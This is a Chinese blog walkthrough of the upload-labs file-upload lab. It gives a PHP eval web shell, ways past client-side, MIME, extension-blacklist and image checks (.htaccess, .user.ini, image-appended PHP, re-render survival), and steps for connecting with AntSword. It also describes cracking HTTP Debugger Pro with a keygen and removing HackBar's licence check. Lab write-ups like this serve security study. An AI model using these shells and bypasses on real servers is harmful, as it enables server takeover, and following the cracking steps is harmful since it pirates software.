upload-labs通关

这篇具有很好参考价值的文章主要介绍了upload-labs通关。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。

测试环境部署

游览器插件下载地址

Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdm

HackBar:

https://hackbar.herokuapp.com/

使用everything搜索hackbar-panel.js文件的位置,注释或删除以下代码即可过限制:

chrome.storage.local.get(['license'], function (result) {...});

upload-labs项目部署

upload-labs项目地址:https://github.com/c0ny1/upload-labs

下载源码后放入入phpstudy的WWW目录中并启动Apache服务器即可完成部署。

phpstudy下载地址:https://www.xp.cn/

启动后:

upload-labs通关

网站界面可以创建更多的站点和对应的根目录位置。

upload-labs通关

然后可以访问项目:

upload-labs通关

中国蚁剑

源码下载地址:https://github.com/AntSwordProject/antSword

加载器下载:https://gitee.com/AntSwordProject/AntSword-Loader

使用文档:https://www.yuque.com/antswordproject/antsword/srruro

使用步骤下载加载器,打开加载器点击初始化。选择一个空目录则自动下载源码后加载,选择一个现成的源码则直接加载完毕。

upload-labs通关

抓包工具HTTP Debugger

我使用HTTP Debugger Pro v9.11,下载地址:https://pan.baidu.com/s/12fsnle4-idzzF_yx9DwIog?pwd=qum2

安装步骤:

  • 安装HTTP Debugger Pro v9.11.msi,安装完成后断开网络
  • 运行HTTP Debugger Pro KeyGen By DSiDERS.exe点击Activate注册激活后,启动网络
  • HTTPDebuggerUI_zh.exe放入安装目录,以后用它启动HTTP Debugger

通关开始

第一关 过前端js校验

第一关自然是最简单的,我编写的php脚本为:

<?php 
	header("Content-type:text/html; charset=gbk");
	echo "<pre>";
	@eval($_POST['xxm']);
?>

例如命名为shell.php

上述代码的最简形式:

<?php eval($_POST['xxm']);?>

关于eval的作用可以查看:https://www.php.net/eval

我们只需要通关开发者工具中的设置 禁用JavaScript 或者 在控制台执行:

checkFile=function(){};

即可将校验逻辑置空,然后就可以顺利的上传该文件。上传成功后,我们就相当于给目标植入了木马。

上传后,我们可以复制图片地址:

upload-labs通关

然后就可以通过该地址对目标服务器执行任何系统指令:

upload-labs通关

关于system函数的说明可以查看:https://www.php.net/system

当然,如果我们使用中国蚁剑来操作会方便的多:

upload-labs通关

连接密码就是post请求所接收的参数,连接成功后,就可以执行任何操作。

双击目标可以查看文件目录,甚至上传下载文件:

upload-labs通关

右击打开虚拟终端可以手动执行任何命令:

upload-labs通关

可以看到,只要我们的服务器中了这种木马等于整个服务器都彻底被黑了。

第二关 过后端MIME校验

这次不仅前端会校验,后端也会校验是否为图片类型的MIME。

我们打开抓包工具,过前端校验后上传shell.php。虽然上传失败,但是已经发出了包并被HTTPDebugger截获请求信息:

upload-labs通关

在post请求的具体内容中可以看到游览器生成的MIME类型:

Content-Type: application/octet-stream

我们只需重发一遍刚才截获的请求,并修改MIME类型:

Content-Type: image/jpeg

我们再选中该请求的状态下点击编辑并重新提交:

upload-labs通关

然后切换到标头,删除多余内容后,点击提交:

upload-labs通关

然后我们可以看到上传成功:

upload-labs通关

第3-10关 文件名后缀校验

这8关都是对文件名后缀的校验,每关对文件名后缀的校验都存在不同的漏洞。

各关在扩展名的全面性上升级:

  • 第3关:禁止上传 .asp|.aspx|.php|.jsp后缀文件!
  • 第4关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
  • 第5关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
  • 第6关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini后缀文件!

后端的前置处理逻辑:

$file_name = trim($_FILES['upload_file']['name']);//文件名首尾去空
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //扩展名首尾去空

第6关虽然对扩展名检测全面,但是少了将扩展名转换为小写,所以可以通过PHP大写的扩展名通过检测,例如shell.PHP

第3关表示在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht时存在的漏洞,使用php的等价扩展名php5即可过关。

第4关表示Hypertext Access(超文本入口)存在的漏洞,.htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

用法:
AddType application/x-httpd-php .jpg ,代表.jpg文件会当做php来解析。
SetHandler application/x-httpd-php,代表所有的文件都会当做php来解析。

开启Hypertext Access,需要在apache的httpd.conf文件中开启mod_rewrite模块,配置文件中LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All,同时需要将所有的AllowOverride none改为AllowOverride All。

先上传一个png的内容为<?php eval($_POST['xxm']);?>,再上传文件内容为SetHandler application/x-httpd-php.htaccess文件即可。

第5关利用用户自定义的配置文件自动包含代码,上传一个以auto_propend_file=1.gif为内容的.user.ini文件,表示所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini,再上传一个内容为<?php phpinfo();?>的命名为1.gif的文件。

这时我们访问http://localhost/upload/readme.php该文件就会包含1.gif的代码。

第789关原本可以通过借助抓包工具给文件名增加一个空格、一个点和::$DATA绕过,但是本人测试出现移动文件异常,提示上传出错或即使上传成功也并没有去掉相应字符解析,说明现在新版的php已经不存在这些漏洞。

第14-17关 校验是否为图片

  • 第14关仅读取文件前2个字节判断是否为图片
  • 第15关使用getimagesize函数读取图片大小判断是否为图片
  • 第16关使用exif_imagetype函数检查是否为图片文件
  • 第17关使用imagecreatefromjpeg函数重新渲染生成图片

第14关可以上传内容为GIF89ad<?php eval($_POST['xxm']);?>的php文件,可惜服务器返回的图片地址为http://localhost/upload/5420221019220900.gif,已经修改为图片扩展名,无法直接作为php脚本解析。

第15-16关向正常图片追加php脚本后再上传。

准备一个普通图片文件t.gif,windows的合并命令:

copy t.gif /b + a.php /a a.gif

Linux:

cat t.gif a.php > a.gif

然后上传a.gif,得到图片地址:http://localhost/upload/5520221019221956.gif

此时可以使用文件包含漏洞,有一个可以包含指定文件脚本include.php存在,代码内容:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

于是我们可以通过该脚本包含图片中的代码,下面访问http://localhost/include.php?file=upload/5520221019221956.gif。测试连接成功:

upload-labs通关

http://localhost/include.php?file=upload/5420221019220900.gif也测试成功。

第17关上传上面图片,代码会因二次渲染自动被删除,我们需要制作二次渲染后代码依然能够被保留的图片。这里我使用winhex打开图片,寻找连续的00最多的地方:

upload-labs通关

然后用winhex打开php脚本文件并复制:

upload-labs通关

然后在连续的00最多的地方选中第一个0并粘贴:

upload-labs通关

然后删除前面完全相同长度的字节数保持文件大小不变:

upload-labs通关

保存后,图片整体颜色大幅度被改变:

然后我们上传处理后的图片,保存被2次渲染的图片,用文本编辑器查看,可以看到代码依然被保留:

upload-labs通关

最终也成功连接。

其他关卡有兴趣研究的童鞋可以自行研究。文章来源地址https://www.toymoban.com/news/detail-402650.html

到了这里,关于upload-labs通关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • upload-labs1-21关文件上传通关手册

    看源码可知道 仅让上传此三类的文件类型,其他都不可以上传。 上传会有js弹窗,前端检查(前端校验): 我们可以有三种绕过方法: 第一种:关闭网页的js提示弹窗 第二种:检查源代码,进行修改 第三种:利用burp进行抓包,修改上传的文件后缀.php 第一种: 在火狐浏览

    2024年02月09日
    浏览(50)
  • Upload-labs 1-21关 靶场通关笔记(含代码审计)

    目录 Pass-01(JS前端验证)  方法一:删除JS验证   方法二:先上传符合要求的图片 再在burp里面修改后缀即可 Pass-02(MIME验证) 前置知识$_FILES Pass-03(php3、phtml绕过黑名单) Pass-04(.htaccess绕过黑名单)  前置知识 .htaccess 思路一  思路二 思路三 ​编辑 Pass-05(.user.ini黑名单

    2023年04月09日
    浏览(48)
  • upload-labs详解1-19关通关全解(最全最详细一看就会)

    upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。 1.png: 选择一个php文件,发现无法上传。 查看提示说是使用js对不合法文件进行检查,看到是

    2024年02月06日
    浏览(90)
  • upload-labs详细教程

    目录  第一关 js检查  第二关 Content-Type  第三关 黑名单验证  第四关 黑名单验证(.htaccess绕过)   第五关 黑名单验证(.user.ini)  第六关 空格绕过  第七关 点绕过   第八关 ::$DATA绕过   第九关 .空格.绕过  第十一关 文件路径%00截断  第十二关 文件路径0x00截断

    2024年02月04日
    浏览(51)
  • upload-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   靶场:upload-labs   下载链接:https://github.com/c0ny1/upload-labs    百度网盘:https://pan.baidu.com/s/1pu9tVCFKk5NZ3v9r1QZlOA?pwd=0432   提取码:0432   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用

    2024年02月05日
    浏览(64)
  • upload-labs 16/17关

    将gif文件和包含一句话木马的php文件放在同一目录下,用cmd的copy命令将php文件整合进文件中。 可以看到最后一行包含了注入代码 将b1文件上传到服务器后,发现并未能正常执行代码,将上传后的文件下载到本地,打开后发现最后的代码被过滤了。 将下载的文件与a1文件用0

    2024年02月09日
    浏览(42)
  • upload-labs靶场的安装搭建

    1、首先安装phpstudy的环境,下载进行安装 2、然后到GitHub去下载upload-labs的源码 GitHub:https://github.com/Tj1ngwe1/upload-labs 3、将下载的压缩包解压到phpstudy文件,phpstudy/www网站的根目录下。 4、本地浏览器访问127.0.0.1/upload-labs/就可以访问靶场了 在镜像仓库搜索upload-labs镜像 将uploa

    2024年02月13日
    浏览(49)
  • upload-labs文件上传靶场实操

    上传姿势总结: 1)改后缀名绕过 2)Content-Type绕过 3)本地文件包含 4)远程文件包含 5)httpd.conf黑名单绕过 6)htaccess绕过 7)大小写绕过 8)空格绕过 9)点绕过 10)特殊符号::$DATA绕过 11). .绕过 12)多写绕过(多写php) 13)%00截断目录绕过 14)16进制00截断目录 15)本地文件包含+文件头绕过 16)本地

    2024年02月08日
    浏览(49)
  • 文件上传漏洞(一) upload-labs靶场练习

    文件上传漏洞的目标就是向服务器上传一些服务器可以解析的恶意文件,这类文件可以达到与攻击者建立连接并执行恶意命令的作用(又名webshell)。其危害之大,早已引起业界的关注。 本文将通过对upload-labs的练习,重现一些绕过手法,当然也是对文件上传漏洞基础部分的一个

    2024年02月03日
    浏览(47)
  • [网络安全]upload-labs 本地靶场搭建详细教程

    本文以phpstudy搭建upload-labs本地靶场环境 PhpStudy是一个PHP调试环境的程序集成包,集成最新的Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer,安装后无须配置即可使用。 官网安装地址: PhpStudy Download 链接 安装完成后打开PhpStudy 网站配置如下: upload-labs 靶机下载地址: https://github.co

    2024年02月08日
    浏览(63)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包